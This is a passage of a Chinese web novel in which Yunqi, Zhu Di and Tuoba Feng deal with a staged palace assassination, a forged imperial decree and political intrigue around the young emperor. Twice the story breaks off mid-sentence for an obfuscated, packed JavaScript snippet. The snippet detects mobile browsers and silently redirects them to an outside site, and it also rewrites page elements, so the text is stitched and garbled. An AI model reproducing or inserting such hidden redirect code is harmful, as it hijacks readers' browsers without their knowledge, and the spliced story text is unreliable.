朱允炆大叫一声,云起瞬间揪住储君衣领,将其狠狠扯到身后,那利剑擦着朱允炆侧脸掠过,噔的一声钉在椅背上,不住颤抖。 云起猛然跃上书案! 砰然一脚,踏的桌上墨砚倾倒,乒乓作响,云起如飞鹞般扑向对面墙壁! 黄子澄措手不及,骇然道:“正使要做什么!” 朱允炆抬起一手,制止黄子澄的喝骂,屋檐外有人翻身上房,朱棣抬头望向殿顶,深吸了一口气,嘴里骂了句不知何话。 那瞬间云起捞到对墙挂着一物,乃是朱元璋开国定天下的长弓,于陈友谅处收缴而来的名器“神臂”,继而抽出箭筒上四支鸡尾钢箭,夹在五指间,沉力腰际,猛地一声大喝,反手扯开了六十石的龙弦铁弓! “有——刺——客!”云起一声爆喝,第一箭流星般冲上殿顶,将砖瓦射得四飞,说时迟那时快,一声踏滑屋檐的脚步传来,紧接着是疾奔的声响。 短短数息,变故已惊动了无数太监侍卫,数十人冲进殿内,团团围住朱允炆,朱允炆忍不住道:“云哥儿,小心!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拓跋锋听见了,他抬头回望,与云起双眸对视,那一瞬间,像是明白了什么。云起一指皇城前门,拓跋锋喘息片刻,拖着一道血线,开始逃跑。 云起架上最后两支箭,遥遥射去,劲风分袭午门前两盏白灯笼。扑扑两声,最后一箭射熄灯笼后,又拖过近十丈,将惶急关门那侍卫之手钉在宫墙上! 惨叫声传来,云起知道拓跋锋已逃出皇宫,才疲惫地松了口气。 然而下一刻,云起紧张转头,数十只猎狗狂吠着于偏殿处奔出,禁卫们将狗儿驱到血迹旁闻了闻,抬头不信任地看了云起一眼,便跟着猎犬朝宫外跑去。 云起与阴沉着脸的朱棣交换了个眼色,无可奈何,只得跃下地来。 云起嘘声道:“那是午门卫,不归我管!” 朱棣忙作了个噤声的表情,身后黄子澄匆匆赶来。 云起只得转身朝拓跋锋离去的方向大步奔跑。 拓跋锋捂着肩头,那处血如泉涌,在静谧的月夜中拖出一道诡异的痕迹,失血过多令其脸色苍白,辨不清方向,只没头苍蝇般在街头巷尾一通乱闯,惊得沿路熟睡的屋舍内院狗齐鸣。 他不知道越过了多少院墙,也算不清逃了几条街,终于气力耗尽,倒在一家人的后花园里。 那家人的狗疯狂地叫了起来,女人温言道:“叫啥呢,安静点儿。” 狗不叫了,凑到拓跋锋身旁闻了闻,便恐惧地朝后退去。 苏婉容悠然道:“半夜三更的,老蒋又爬墙回来拉?” 苏婉容裹着一身素袍,坐在露台上,面前摆了个木茶几,茶几上摆了一副杯具,檀香炉于这深秋夜晚缓慢吞吐着青烟。 不听楼下人应答,蒋夫人蹙眉张望,见到那高大男子躯体时便花容失色。匆忙起身下楼,赤脚蹲在花园中,翻过那人身子一看,果然是开山大徒弟拓跋锋。 15. 鱼目混珠 一夜秋风翻起万丝细雨,千片落桐。 苏婉容倚着软榻,黛眉飞展,手持一根铜签去拨那炉内红炭,满壶龙井被煮得浮浮沉沉,一室茶香。 苏婉容浅笑道:“我和温月华姐妹相称,你娶了她女儿当媳妇,唤我一声苏姨怎了。” 朱棣尴尬道:“苏姨好,这……苏姨贵庚?小王实在……叫不出口。” 苏婉容笑容不减,悠然道:“四十七岁了。” “……” 朱棣哭丧着脸道:“咋看上去跟雯儿差不多大呢……还是叫蒋夫人好了。” 苏婉容扑哧一声笑了起来:“王爷逾发会说话了。” 朱棣想了想,道:“实不相瞒,昨儿一亲兵随我入了城,咱北平那地儿人没见过世面,进京没多久就给走丢了,蒋老他……” 苏婉容道:“老蒋回家乡去陪他老母过中秋,这还没回来呢。” 朱棣点了点头,又道:“我那亲兵名唤朱锋,不知蒋夫人……” 苏婉容揶揄道:“我可不曾认得什么猪疯、猪弟的。” 这话绕着弯儿把朱棣也给骂进去了,朱棣明白了,遂笑答道:“也成,既是这么个光景,料想他也早出城去了。小王这就告辞。” 蒋瓛于朝中辈分极高,直似是看着诸藩王长大的叔伯辈,朱棣不敢逾礼,拱手朝苏婉容道别,蒋夫人将起未起来送,朱棣忙道不妨,便自行出府外。 然而苏婉容脸色一寒,与朱棣同时听见了府外喧哗,这次不起也得起了。 午时,四胡同内聚集大批午门卫,各个揪着猎犬,四处闻嗅,团团围住了蒋府后院,又从后院绕到前门。 有人高声喝道:“谁家的院子!包庇钦犯,活得不耐烦了吗?!” 那人刚喊出声,便有老成持重的同伴忙把他嘴给掩住,低声道:“蒋瓛的家!” 提起蒋瓛,众侍卫俱是打了个寒颤。又有消息灵通的侍卫道:“不妨,蒋老狗回家去了,这院里就剩个女人……几个老仆,翻不起甚风浪来,弟兄们跟我来就是。” 正上前一步,大门吱呀一声开了。 侍卫们下意识地退了半步。 苏婉容拢着粉荷袖,似笑非笑道:“各位官爷有何贵干?” “呃……”对方是蒋夫人,终究不好乱闯,侍卫头子再看蒋夫人身后站着一服饰华贵的男子,脸上挂着痞笑,登时认为抓到了把柄,思忖片刻道:“昨夜有刺客入宫,惊了圣驾,太傅命搜查全城,查到蒋老府上,说不得还请夫人通融,让弟兄们进去搜上一搜……” 苏婉容扬眉道:“全城都搜完了?剩咱家了?” 那侍卫尴尬道:“嗯……”还未答话,数十只恶狗便一齐朝院内猛扑,继而狂吠。那声势十分惊人,只扯得侍卫们东倒西歪,险些便抓不住。 说时迟那时快,只见苏婉容袍袖一抖,登时一抹寒光无声无息从袖底飞出,紧接着一声呜咽,一只猎犬头颅打着旋飞出老远,断颈中鲜血狂喷! 众侍卫齐声大叫,此刻方看清那袖中暗器乃是一柄刻刀,刻刀柄上以一根极细的冰蚕丝相连。 苏婉容随手一扯,刻刀回掌,若无其事道:“既是没搜完,劳驾先去别家。” “你!”那侍卫头子勃然大怒道:“好大的胆子!” 苏婉容道:“怎么?”说毕白玉般的指尖捏着那印刀,朝着阳光晃了晃,寒光闪烁,苏婉容悠然道:“此刀刻过传国玉玺,现拿来杀几只狗又怎了?” 若是拼着性命不要,一拥而上,要制服这女人自是不难,然而谁冲在最前,势必身首异处,一时间谁也不敢触蒋夫人霉头,侍卫们面面相觑,拿不出个法子来。 苏婉容冷冷道:“要搜蒋府,先去请尚方宝剑来,有御旨也成,若都没有,恕婉容不奉陪了。爹娘养你们不容易,小哥们。”说毕正要转身回府,朱棣不知是留是走,救星终于到了。 “锦衣卫奉旨公干!无关人等,一应退避!”云起遥遥喊道。 云起领着十余名锦衣卫穿过四胡同,锦衣卫们一见蒋瓛府前被人气势汹汹围着,瞬间一个个炸了毛。 “哪里来的狗畜生——!”荣庆当即便石破天惊的发出大吼。 “慢慢慢……”云起忙喝止。 那时午门卫见势头不好,忙朝后退避,荣庆等锦衣卫怒火难遏,蒋瓛乃是前任锦衣卫正使,被围府无异于爹娘蒙羞,瞬时再无人顾得云起命令,十余人抽出腰畔绣春刀,纵马奔过大半条胡同,纷纷发得一声喊,朝府前侍卫冲杀而去。 这可苦了缉拿钦犯的宫廷侍卫们,再不走势必演变为一场火拼,谁敢与锦衣卫做对?霎那间人嘶狗吠,屁滚尿流地逃得不见踪影。 荣庆仍不肯罢休,追出胡同外去,云起翻身下马,走进府内,见蒋府未曾遭殃,苏婉容于大门前亭亭玉立,方松了口气。 “师娘好,师父呢?”云起手握尚方宝剑,抱拳躬身。 苏婉容柔声道:“你师父回家去了。” 云起见朱棣笑嘻嘻站在一旁,心中忐忑,不知该如何开口,拓跋锋定是逃到此处来了。 苏婉容却是善解人意,只道:“徒弟儿也是来搜府里的?” 云起道:“是。” 苏婉容抬手甩了云起一耳光,“啪”的一声将朱棣吓了个惨,只见云起侧脸上登时留了五个手指印。 “进来吧。”苏婉容漫不经心,转身回府,又道:“燕王慢走,不送。” 云起与朱棣交换了个眼色,这才跟着苏婉容入内。 “知道师娘为啥打你么?” 云起跟在苏婉容身后,低声道:“师娘,徒儿也是没法,本以为师哥会躲开,想让他快点走……那伤碍事不?”说着眼眶便红了,一宿未眠,脸色更差。 苏婉容领着云起上楼,“嗯”了一声,又道:“不碍事,现皇上驾崩,皇孙未登基,师娘才有这么大胆子,你须得在皇孙继位前将他送出去。迟了一天,麻烦便大了,知道么?” 云起默然点头,知道此刻京城正处于无政府状态,苏婉容若是于朱元璋在位时包庇钦犯,便连带着蒋瓛全家老小也是个被诛九族的下场,又暗自心惊。 说话间进了阁楼内一间偏房,苏婉容推了门,登时失声道:“人呢?!” 云起愕然看着那床帐中,被褥凌乱,枕下湿了一小滩紫黑色的血。 先前躺在床上养伤的拓跋锋,不知何时翻出窗外逃了。 朱棣徒步走出四胡同,路过户部,朝皇宫门口行去。 一介王爷,如今入得京来,皇宫中连马车亦没给他配一辆,然而朱棣劳碌惯了,并不在意这事,只缓慢行走,并不住思索。 只怕先前是小觑了允炆,朱标死后的这数年中,允炆与云起之间的关系仿佛发生了微妙的改变? 户部门口,右侍郎被一群气势汹汹的锦衣卫扔了出来,丢在街上,正摔在朱棣脚前。 朱棣嘴角抽搐,知道今早围蒋府的午门卫中,定不知哪个小伙子出身户部,连带着那人倒霉的爹背了黑锅。 “您老请起呐请起。”朱棣笑着把右侍郎扶起,朝荣庆道:“算了算了……” 右侍郎哭丧着脸道:“回家一定好好管教犬子……” 锦衣卫们仍不肯罢休,大声喧哗,活像一群恶霸。 “燕王救我呐!”右侍郎抱着朱棣的腰大声嚎啕,朱棣却窥见街角一个身影,蹙眉甩开右侍郎,冲上前去。 朱棣回头道:“荣庆!替我狠狠修理他!”如此支开锦衣卫,朝街角奔去。 朱棣疾步跑了大半条街,直追到皇宫后门处,低低吹了声口哨,拓跋锋方不安地从树下转出。 “你……”朱棣怒不可遏,斥道:“不在蒋府里躺着,又跑出来作甚?!” 拓跋锋一身燕王府侍卫服未换,解了上半身绣服,任其系在腰间,赤着上身,露出纠结健美的古铜色肌肤,肩背上又包着一层绷带,纱布中仍渗出血来,显是一番奔跑后伤口再次裂开。 朱棣狠狠把拓跋锋拍了个趔趄,凶道:“不是与你说好,让我上前去你再扔刀子的么!” 拓跋锋想了想,道:“什么?你再说一次,那会儿我见了云起在城楼上,心都在他那儿,没听仔细你说什么。” “……” 朱棣悲怆道:“我说……我让你等我上前去,与皇孙说话那时,你从窗外扔个暗器!!演场戏,让我救皇孙一命!” 拓跋锋恍然大悟,道:“懂了,再来一次。” 朱棣哭笑不得道:“都什么时候了,你方才又进宫做甚?” 拓跋锋道:“我进宫看云起了,他不在。” 朱棣一副郁郁而卒的表情,道:“他去蒋府了,你扑了个空,蠢货!” 拓跋锋“哦”了一声,又道:“路过太和殿,听到皇孙,黄子澄与李景隆,方孝孺四人谈你。” 朱棣道:“你你你……快走,回头出了城再说。” 拓跋锋点了点头,转身就走。 朱棣一想不对,忙道:“谈论我什么?” 拓跋锋道:“给我点银子,我还师娘钱。” 朱棣恨得牙痒:“多少?” 拓跋锋道:“十二两。” “……” 朱棣突了眼道:“你何时借的这么多?!苏婉容还兼职放高利贷?!” 拓跋锋道:“十岁开始,借了五年,一个月两钱。” 朱棣道:“给你十两。” 拓跋锋坚持道:“十二两。” 朱棣道:“没带这么多,你听到甚屁消息,要讹本王爷十二两?!” 拓跋锋道:“市场价。” “……” 朱棣咬牙切齿地摸了两锭银子给拓跋锋,又摘了手上玉扳指,怒道:“扳指拿去当了,听到什么,快说,仔细说,谁说了什么话都清楚讲一次,十二两呢!” 拓跋锋漠然道:“太傅说你要造反,让皇孙把你关起来,皇孙说你不敢造反,把你关起来的主意是馊的,方孝孺说黄子澄出的主意一点也不馊,李景隆说皇孙说的太傅出的主意不成的话是对的,太傅说李景隆说皇孙说太傅出的主意是馊的这话是错的……” “……” 朱棣道:“我错了,锋儿,你只要告诉王爷,最后皇孙怎么说就成了。” 拓跋锋道:“皇孙决定不杀你,也不能放你,要将你关进后宫,等皇上出殡后,再将你送到杭州。” 朱棣点了点头,拓跋锋又道:“唉,好歹是我叔。” 朱棣嗤了一声,拓跋锋忽然换了个语气,道:“皇孙!不可妇人之仁!四王爷狼子野心,笑里藏刀……” 拓跋锋学方孝孺那语气惟妙惟肖,朱棣登时被呛得打跌,一把要去揪拓跋锋衣领,拓跋锋却光着膀子,无处下手,朱棣咬牙切齿道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472496|185544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“罢了,把衣服穿好,跟我来。” “把脸遮着,这条街熟人多!” “拿什么遮。” “自个想办法。” 拓跋锋把上衣拉到脑袋上,顶着衣领,脖子缩进上衣里,像只缩在壳里的龟。 朱棣回到蒋府门口,一指那院外道:“在这处蹲着。我想办法,今儿就得出城,回不得宫了。” 拓跋锋漠然点头,在院墙外蹲好,不动。 朱棣敲了敲门,进去了,片刻后疑道:“小舅子,你怎还没走?” 云起在院中答道:“等人。” 拓跋锋站了起来,像是想进院内去,走出一步,望着空旷的长街,却打消了这个念头,再次背靠墙壁,蹲回位上。 朱棣吸了口气,不知该如何说,云起问:“怎又回来了?” 苏婉容在厅内道:“王爷又有啥事?” 云起压低了声音道:“你自个进去,师娘今儿脾气不好。”朱棣忙匆匆入厅,云起便走到院内角落处,倚着高墙坐下了。 云起与拓跋锋背脊之间,隔着一堵高墙。云起不知道拓跋锋在墙的另一面,拓跋锋却知道云起坐在墙的这一头。 他们各自从怀中掏出麒麟玉佩。 云起漫不经心地摩挲着玉佩,低声哼道:“天不老,情难绝……” 拓跋锋取出一根牧笛,轻轻吹了起来。 云起屏息,听着高墙外传来的笛声,是老跋?不,他从来不会吹笛子。 悠扬乐声回荡于深秋的空巷内,一片桐叶轻轻脱离枝头, “空灵,空灵懂么,你口水都把孔儿堵了……”徐雯不悦道:“小弟!” 小云起懵懂看着徐雯,徐雯伸手扯来笛子,恨铁不成钢道:“不是这般吹!” 小云起不耐烦道:“不学了!” 徐雯铁青着脸:“算了算了,别学了,能把人给气死。” 小云起撇嘴,跑了。 “笛声空灵,哪有这般口水朝里面猛灌的。”徐雯怒道。 拓跋锋煞有介事地端着笛子,凑到唇边,修长手指在笛孔上笨拙地按来按去。 徐雯劈手夺了笛子,道:“别学了,跟我弟一个德行。” 拓跋锋倏然手臂一长,又把笛子抓了过来,面无表情道:“我要学。” 徐雯把笛子抢了回来,怒道:“没空教你,滚!” 拓跋锋又抓过笛子,道:“学!” “……” 徐雯道:“那你自个练去,教不得你这种蠢笨徒弟。” 拓跋锋也不管徐雯,自顾自断断续续地吹,吹了半天,笛音逐渐串成连续的曲调。 朱棣躺在御花园中,从一本书中抬头,眼神迷离道:“这谁呢,鬼叫一般呜整天了。” “云儿!” 笛声停了,云起拍了拍锦服起身。 苏婉容在厅中吩咐道:“去后院菜地里拔个萝卜,粗点儿的。” 朱棣失声道:“你……蒋夫人!” 苏婉容嗔道:“横竖是个死,王爷还怕啥?” “??”云起一头雾水。苏婉容又催了几声,云起方不明就里,转身去后院拔萝卜。 回到前院时,云起又狐疑地跃上高墙,扒着墙头朝下看了一眼,巷子里没人。 拓跋锋贴在大门的檐廊下,屏住气息,微仰头朝上望,见到云起的袖角,心中一揪。 云起跳下,进了前厅。 “师娘,刚有人在外面吹笛子……” “听到了,你娘吹得最好那曲儿,‘塞下秋’,没想到除了你姐,南京城里还有人会吹这首。”苏婉容接过云起递来那萝卜,扔了把钥匙在桌上,又拈起刻刀,漫不经心道:“去老蒋书房里,架子最上面有个带锁箱子,取张黄锦来。” 云起倒抽一口冷气,苏婉容扬起柳眉,不悦道:“怎么?” 云起不敢多说,依言照办。 朱棣磨了墨,苏婉容吩咐道:“云儿学着皇孙那字,在锦上这么写……” 云起五雷轰顶,苏婉容竟是要假传圣旨! 然而苏婉容一开口,云起便知道了,只得硬着头皮,朝那黄锦上写下出城的通行圣旨。 朱棣道:“谢了,小舅子。” 云起叹道:“该做的,该谢师娘才是。” 苏婉容道:“皇上吩咐过老蒋,让他看着几个王爷,别祸起萧墙什么的,如今老蒋不在,我一女人家也没啥见识……只能帮到这步了,燕王好自为之。” 苏婉容用萝卜刻了个传国玉玺,沾了红泥,端端正正朝黄锦上一盖,大功告成。 朱棣不敢多耽搁,卷了假圣旨入袖,便朝苏婉容深深一躬,道:“蒋夫人大恩,小王铭记于心,来日定将图报。” 苏婉容笑道:“去罢,代问雯儿好。” 朱棣告辞,云起便将大厅那门拢上,转身道:“师娘,这怎回事?” 苏婉容未答,院外嗖然飞来三物,两锭银元宝登的一声嵌在雕花窗上,一枚玉扳指穿过窗格,嗖地飞了进来,打在云起脸上,将他打了个趔趄。 “谁!”云起怒道。 苏婉容忍不住大笑,云起脸上被玉扳指打得肿起老高。一怒去开门,却听院外一熟悉声音响起,登时如中雷亟! “师哥在北平等你。”拓跋锋声音逐渐远去。 “师娘,锋儿走了,再会。” 16. 钦差大臣 欠债还钱,天经地义。 银钱付讫,苏婉容优雅高贵地把那两个银元宝收好,又逼云起花二两银子买了玉扳指,于是拓跋锋的债偿清了,朱棣逃了,云起也可以滚回宫去了。 然而刚回宫,云起便杵上了怒气蓄满槽,正准备放必杀技的黄子澄。 黄子澄额上青筋暴突,吼道:“连个刺客也抓不住!?还让燕王走了?!那刺客是谁,你们心里定是清楚!要我说出名字来么?!” 云起反问道:“谁让午门卫到蒋师府上捉人的?” 朱允炆不悦道:“午门卫?” 黄子澄倏然间哑了,片刻后道:“燕王假传圣旨……” 朱允炆喝道:“太傅先把前一件事分说明白,谁让午门卫去缉刺客的?” 黄子澄忍气吞声道:“臣下的令,锦衣卫素来目中无人,只听皇上调派,臣一时心急……” 云起冷笑道:“这可是先皇定的规矩,锦衣卫向来只听皇上命令,你使唤不动,还想养亲兵了?捉刺客让午门卫去凑甚热闹?” “午门卫若不插手,臣有九分把握能将刺客追到,太傅调集上百人,以捉拿刺客之名,追到蒋府门外,紧接着又莫名其妙地散了,是心虚?受了何人指使?!要嫁祸给蒋老?!” 黄子澄怒道:“猎犬嗅到气味,循路追到蒋府,关我何事?” 云起淡淡道:“照太傅这么说,竟是午门卫养的狗在栽赃嫁祸?你把狗叫来对质就是。” “……” 云起轻飘飘几句便把黑锅朝黄子澄头上一扣,殿内众人噤声。 云起朗声道:“皇上派了宋忠前去传旨,为何不出示圣旨,特意拿了把假的尚方宝剑?!” “我没有。”朱允炆不悦道,想了想,又道:“朕没派宋忠去。” 黄子澄被堵得说不出话来,又道:“你怎知道宋忠去传旨?” 云起道:“太傅,我没有圣旨,却有圣意,都是一家人,皇上当时不是想宣燕王入城来么?” 朱允炆沉默良久,而后点了点头,默许了云起先斩后奏的行为。 荣庆站出一步,单膝跪下,答道:“宋忠手捧假尚方宝剑,自称有皇上御旨,着燕王将兵马遣回北平,于城外跪侯十九日谢罪,出殡当日再尾随队伍后……” 朱允炆怒道:“这是怎么回事!太傅!” 朱允炆一吼,黄子澄登时瞠目结舌退了半步,显是头一次见到朱允炆盛怒。 云起笼袖,左手摩挲着右手上玉扳指,挑衅地看着黄子澄。 殿内只余朱允炆愤怒的喘息声,云起的奸计得逞了,偌大一个朝廷,只有徐云起知道,朱允炆是会发火的,在他感觉到自己被欺骗的时候。 朱允炆道:“传宋忠。” 朱允炆面若寒冰,那尚且是黄子澄头一次见到。 黄子澄全身颤抖,绷得紧紧的神经终于再扛不住,扑倒伏身在地,大哭道:“臣罪该万死!请陛下治罪!” 黄子澄泪流满面,仰头道:“然而燕王离京那道旨意,与臣绝无关系!陛下请明察!臣决不可能私自放藩王离京!接旨之人乃是京门卫副使,御旨中命其护送燕王离城……” 云起道:“不用等了,八成已被杀了。” 朱允炆忽地扑哧一笑,道:“你做什么?” 云起不知何时已端来廷杖掂着,瞥了朱允炆一眼,道:“不治廷杖么?” 朱允炆忍俊不禁道:“算了,太傅起来罢。” 黄子澄依旧伏在地上,荣庆领着宋忠进来了。 朱允炆敛容,冷冷道:“宋忠不能算,四十廷杖!打!” 云起与荣庆分侍左右,抡起廷杖,宋忠自知罪重,不敢再分辨,廷杖落下,痛喊声中,只听龙椅上朱允炆轻声叹息,道:“召方学士,只怕真要削藩了。” 云起微扬起头,看了朱允炆一眼。 “我说大兄弟。”朱棣在马车内昏昏欲睡道:“把你那笛子收起来成不?” 拓跋锋冷冷看了朱棣一眼,不予置答,继续吹着他的牧笛。 朱棣叫苦道:“锋儿,你好歹也换个曲子,最好是别吹了,这一路上都吹三天了没完没了的。” 拓跋锋半边侍卫服上染了一层淡淡的血腥,显是未洗干净,深邃的双眼望着车外碧蓝长空出神,一曲塞下秋飘出马车,于那秋际旷野中回荡。 曲毕,拓跋锋漠然道:“对了,你会被削藩,我听到黄子澄说的。” “……” 朱棣道:“你还是继续吹笛子吧。” 穿西直门,入北平,城中一反常态的安静,大军开往城中兵营,朱棣的马车驰向王爷府。 “今儿是怎了?”朱棣蹙眉道,并打量路旁景色。 商贩早早便歇了生意,燕王府门口处,徐雯抿着唇,神色凝重,等候多时。 徐雯不悦道:“怎这时辰才回来呢。” 朱棣笑了笑,道:“夫人等多久了?给你买了点小东西。”说着回身去整理南京带来的礼物。 徐雯看了拓跋锋一眼,递给朱棣一封信。 朱棣知道有大事,匆忙拆了信,问道:“云起写的?” 徐雯道:“你俩前脚出京,这信便跟着来了,一路不知跑死了几匹马,竟是早到一天。” 朱棣吸了口气,把好奇伸头过来偷看的拓跋锋脑袋推到一边,沉声道:“先回府去,从长计议。” 徐雯也顾不得去瞧朱棣买回来的新鲜小玩意,便跟着朱棣回府,开始计议。 半个时辰后,王府内传来消息,燕王朱棣疯了。 朱允炆正埋头看着一本书,见云起来了,把书合上,道:“坐吧,就咱俩呢。” 云起笑了笑,走过空椅子,蹲坐在龙案前的矮几上,除下靴子,抖了抖沙,道:“看啥,批奏折?” 朱允炆拾起书,把封皮朝云起招了招,云起笑道:“当了皇帝,总算能看点杂书了。” 朱允炆眼中蕴笑,打趣道:“总算能看了。自打你给我这书到现在,才翻了几页呢。” 两人相视莞尔,朱允炆忽道:“云哥儿,那天多亏你了,刺客没抓到不打紧。” 云起点头不答,朱允炆又道:“你救我好几回了,从前被侍卫们挤在墙角那次,也多亏了你……” 云起扑哧笑道:“那怎能算。” 朱允炆微笑道:“朕说算就算。” 称呼的倏然改变,令云起略有点不自在,然而那感觉稍纵即逝,朱允炆的下一句话,令他不由自主地站了起来。 “让我四叔出城的圣旨,是你写的吧。” 云起站起,沉吟片刻,而后道:“是,臣罪该万死。” 朱允炆笑了起来,道:“算了。” 云起叹了口气,朱允炆又道:“你知道我的心思,不想让我和四叔反目成仇,对不对?” 云起点了点头。 朱允炆又朝云起招手,云起走上前去,让他拉着自己的手。 朱允炆的手指冰凉,皮肤细嫩,那是读书人的指头,云起心想。 朱允炆看了云起一会,道:“云哥儿,你在我身边,我就安心得很……” 云起温言答道:“锦衣卫的职责就是守护你,让你安心,皇上。” 朱允炆笑道:“你不一样,明天,你得帮我跑一趟。北平布政使得走马上任了。” 云起来前已猜了个大概,朱允炆削藩,朱棣发疯这事须得有人亲眼目睹,回报后朝廷方能作决定。然而派自己当钦差,言官们压得住么? 云起心中一动,问:“还有谁?” 朱允炆道:“张昺,你认识不?” 云起点头道:“张勤的老父。” 朱允炆仍捉着云起的手掌,想了想,拉开抽屉,取了一物,放进云起手中,笑道:“这个给你。” 那是一枚玳瑁戒指,深棕色的玳瑁闪耀着远古的色泽,云起打趣道:“哪儿来的?” 他接过戒指,套在无名指上,套不下,紧了。 套在小指上,总算勉强戴好,箍得难受,朱允炆脸上一红,道:“我戴却是刚好……云哥儿早点歇息罢。” 云起也不跪,笑着一躬,便走了。 行出御书房外,云起面色变得凝重,顺手摘下玳瑁戒,指尖不断摩挲,在黑暗中沉思,一路走回院去。 朱棣在装疯,这是毋庸置疑的,随便一个明眼人也能看得出来。 朱棣想造反,这也是被自己证实了的,然而几年前想谋害皇孙,不等于现在也想篡位……他把大军带到南京来做什么?想试探?还是打算证实什么? 一万五千兵马,围在京城外还成气候,朱允炆手中有五十万兵,朱棣亲兵放在北平,不够给朝廷塞牙缝的……是了,云起明白了。 朱棣想告诉允炆,北平军力虽弱,若朝廷逼得太狠,万五兵马也要拼死一战。 云起停下了脚步,正想是否该回御书房去,指尖摸到玳瑁戒指内沿,那里刻着字。 云起举起戒指,对着监事房中透出的灯光仔细看,上刻着四个字: 淮西马氏。 云起难以置信地吸了口气,这是马皇后给孙子的物事? “马皇后呐……”蒋瓛眯起眼,瓮声道:“皇后娘娘是个好人。” 蒋瓛把玳瑁戒扔给云起,云起手掌一拍接了。蒋瓛道:“十二年前中秋,皇 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云起忽道:“燕王是我姐夫,师父纵是不说,我也得想法子调解。” 蒋瓛叹了口气,道:“皇孙那人……” 苏婉容不悦道:“那是皇上!” 蒋瓛点头道:“伴君如伴虎,纵是雏虎,亦需谨记,不可恃宠生骄,云起。” 云起跪下磕了个头,方离开蒋府。 那夜云起躺在床上,翻来覆去,继而猛地坐起,一手拈着麒麟玉佩,另一手握着那玳瑁戒指,似是在比较孰轻孰重。 直到鸡鸣时分,曙光从窗格外转了进来,照在云起熟睡的脸上,为他的睫毛蒙上了一层淡淡的白光。 云起胸膛随着呼吸而有频率地起伏,胸口处,薄薄的单衣下依稀可见麒麟玉佩的轮廓,床头桌前安静的摆着玳瑁戒指。 翌日天明时分,南京城中笼着一层初冬雾气,张昺早早侯在午门外,等了近半个时辰,一群锦衣卫方不耐烦地打着呵欠,簇着没睡醒的云起来了。 “张叔好。”锦衣卫们漫不经心地与张昺打了招呼,又嘻嘻哈哈推来搡去。 “云哥儿,出差记得带好东西回来啊。” 云起笑道:“行了,有好的忘不了你们。” 宫中行出一人,迎着湿雾而来。 云起蹙眉道:“怎是你?” 黄子澄不悦道:“皇上说昨夜既已辞行,今日便不来送了,两位大人慢走。” 张昺忙不迭地谢恩,云起顺手弹出一物,黄子澄抬手接住,云起道:“也好,这便走了,弟兄们再会。” 黄子澄道:“这是什么?这……这是皇上给你的?!徐正使?!” 云起翻身上马,心不在焉道:“劳烦太傅交还给皇上,莫私吞了。” 黄子澄又急又怒,一张脸涨得通红,云起与张昺纵马,领着数十名御林军亲兵出了南京,沿官道一路北上。 “云哥儿——!” 出城不到半里,身后便有人急唤,荣庆催马疾奔,追上云起。 云起转头道:“怎了?” 荣庆气喘吁吁下马,跑到近前,摊开一手,道:“皇上说,这是给你的,问你归还何意?” 云起笑道:“天子是龙颜大怒,还是梨花带雨了?” 荣庆怒道:“天子龙颜大怒……”说着扑哧一声笑了起来,续道:“太傅梨花带雨了。” 云起大笑,摇头无奈接过那戒指,随便戴在尾指上,转头策马上了官道,驰往北平。 数日后,北平。 “怎也没人来迎?”云起蹙眉道。 张昺颔首眺望空空荡荡的长街,询问般的望向云起: “走长安街?” 云起答道:“先去王府吧,王妃是家姊,张叔大可放心。” 云起已安排好,张昺便不再多说,幸亏朱允文心思慎密,知道单凭张昺一人走马上任,定压不住满城军人。朱棣在此地经营了近十年,其势力已根深蒂固,渗透入整个北平的行政系统,又岂会轻易放弃? 全北平文武官员隐隐形成两派——即亲朝廷与亲燕王的两股势力,各自等待着最后的答案揭晓。 建文元年的北平,正如一个即将点燃引信的炸药桶,若无云起的特殊身份罩着,张昺只怕甫一进城被要被抓进大牢里去。 逾靠近王府,云起的心便跳得逾厉害,或许削藩,谋逆,夺权,这些事对他而言,俱无足轻重。 心中所系,唯一的便是住在王府的那人——拓跋锋。 17. 天伦之乐 大门装修豪华,正中黑色木牌,元代丞相、著名书法家脱脱帖木儿(被抓回来逼着写的)亲笔题字——“燕王府”,镶金牌匾。 门口蹲着俩白玉大狮子,梁柱足有两丈高,嵌在门板上的赫然是足金门环,一看便是搜刮大量民脂民膏,守门小厮六人,一字排开,纵使无人到访,门房也得静立等着,好一番暴发户的气派! 门房警觉问道:“什么人?!”那时又有数人不信任地打量张昺,张昺心中忐忑,朝后退了一步。 云起懒洋洋地拍了拍肩,一袭金色飞鱼服晃瞎了众门房的狗眼。 云起道:“认不出来?” “……” “小舅爷来了!” “小舅爷——!” 门房登时惊得魂飞魄散,最前两人扑地就拜,云起道:“起来起来,自家人,跪啥呢。” 瞬时又有人匆忙奔去禀告,惶急大喊道:“王妃娘娘——!小舅爷来了!” 云起笑道:“我自进去就是,别喊了!” 云起抬脚迈进大门,忽见二门里一件白花花的物事一闪。 “??” 那物事像个人,云起狐疑地转头望了一眼,那人是从侧里奔出,眼角余光瞥不真切,只是白白的一闪,便跑出大门外,奔得没影儿了。 而且像是……没穿衣服? 云起莫名其妙,一定是看错了。 张昺却仿佛见了鬼一般,全身不住发抖,扯着云起,颤声道:“徐……徐正使,方才那人……方才……” “我的心肝——!” 一声超分贝尖叫险些令云起口吐鲜血,紧接着一身红锦大袍的徐雯冲了出来。 那一瞬间云起与张昺的脑袋里仿佛有无数大象奔跑过去。 徐雯尖叫道:“你可来了——!”接着一脚踹飞了扒着云起不放手的张昺,一把揪着云起的胸口,呼天抢地的把亲弟倒拖了进二门。 “姐夫……等等……姐……” 